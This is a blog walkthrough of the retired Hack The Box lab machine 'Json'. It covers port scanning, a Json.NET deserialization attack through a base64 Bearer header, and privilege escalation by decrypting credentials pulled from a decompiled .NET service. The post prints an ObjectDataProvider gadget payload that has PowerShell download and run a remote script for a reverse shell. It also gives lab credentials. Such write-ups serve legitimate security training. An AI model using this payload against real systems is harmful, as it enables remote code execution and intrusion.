This post documents the complete walkthrough of Json, a retired vulnerable VM created by Cyb3rb0b, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Json is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.5 ( at 2019-09-29 06:29:49 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49153/tcp on                                 
Discovered open port 49152/tcp on                                 
Discovered open port 49156/tcp on                                 
Discovered open port 445/tcp on                                   
Discovered open port 49155/tcp on                                 
Discovered open port 5985/tcp on                                  
Discovered open port 47001/tcp on                                 
Discovered open port 21/tcp on                                    
Discovered open port 139/tcp on                                   
Discovered open port 49157/tcp on                                 
Discovered open port 80/tcp on                                    
Discovered open port 49158/tcp on                                 
Discovered open port 49154/tcp on                                 
Discovered open port 137/udp on                                   
Discovered open port 3389/tcp on                                  
Discovered open port 135/tcp on

Whoa. Many interesting open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p21,80,135,139,445,3389,5985 -A --reason -oN nmap.txt
21/tcp   open  ftp                syn-ack ttl 127 FileZilla ftpd
| ftp-syst:
|_  SYST: UNIX emulated by FileZilla
80/tcp   open  http               syn-ack ttl 127 Microsoft IIS httpd 8.5
| http-methods:
|   Supported Methods: GET HEAD OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp  open  msrpc              syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn        syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       syn-ack ttl 127 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open  ssl/ms-wbt-server? syn-ack ttl 127
|_ssl-date: 2019-09-29T10:37:06+00:00; +4h00m01s from scanner time.
5985/tcp open  http               syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Host script results:
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 4h00m00s
| nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:f6:65 (VMware)
| Names:
|   JSON<00>             Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  JSON<20>             Flags: <unique><active>
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-09-29T10:36:58
|_  start_date: 2019-09-29T03:54:04

Interesting list of services. I think the creator is telling us look at the http service first. Here’s how it looks like.

JSON Deserialization Attack

During my capture of the HTTP traffic with Burp, I was pleasantly surprised to find out I could log in with the credential (admin:admin). It was here that I noticed two XHRs to /api/token and /api/Account.

The XHR to /api/Account had something funky going on. Send the request to Repeater. You’ll notice that there’s a Bearer header accompanying the XHR. The value is base64-encoded. What if we empty the value?

That’s interesting. Now, what if we put in some strange base64-encoded string?

{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}

Gotcha! I think I know what’s going on here. There’s a Json.Net deserializer that converts the Bearer base64-encoded value to a .NET object at the backend. Armed with this insight, let’s see if we can send in a payload.

According to the GitHub repository of, this gadget (ObjectDataProvider) specifically targets Json.NET. Let’s see if we can use PowerShell to execute a reverse shell back to us.

    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        '$type':'System.Collections.ArrayList, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':["cmd", "/c powershell /c iex (new-object net.webclient).downloadstring('')"]
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

Of course, we need to base64-encode the above and shuttle it into the Bearer header.

And voila!

The file user.txt is at c:\users\userpool\desktop.

Privilege Escalation

During enumeration of userpool’s account, I notice a suspicious-looking service FilesToSync at Program Files, along with a pair of encrypted credentials.

The service appears to synchronize files between two locations through FTP. Suffice to say, I grabbed a copy of SyncLocation.exe to my machine for further analysis.

Decompilation of SyncLocation.exe

It turns out that SyncLocation.exe is a .Net assembly executable, which can be easily decompiled to its source code using dnSpy. I’m looking for the method to decrypt those credentials.

Using .NET Fiddle, I was able to decrypt the credentials.

The credential is (superadmin:funnyhtb). Armed with these, I was able to retrieve root.txt.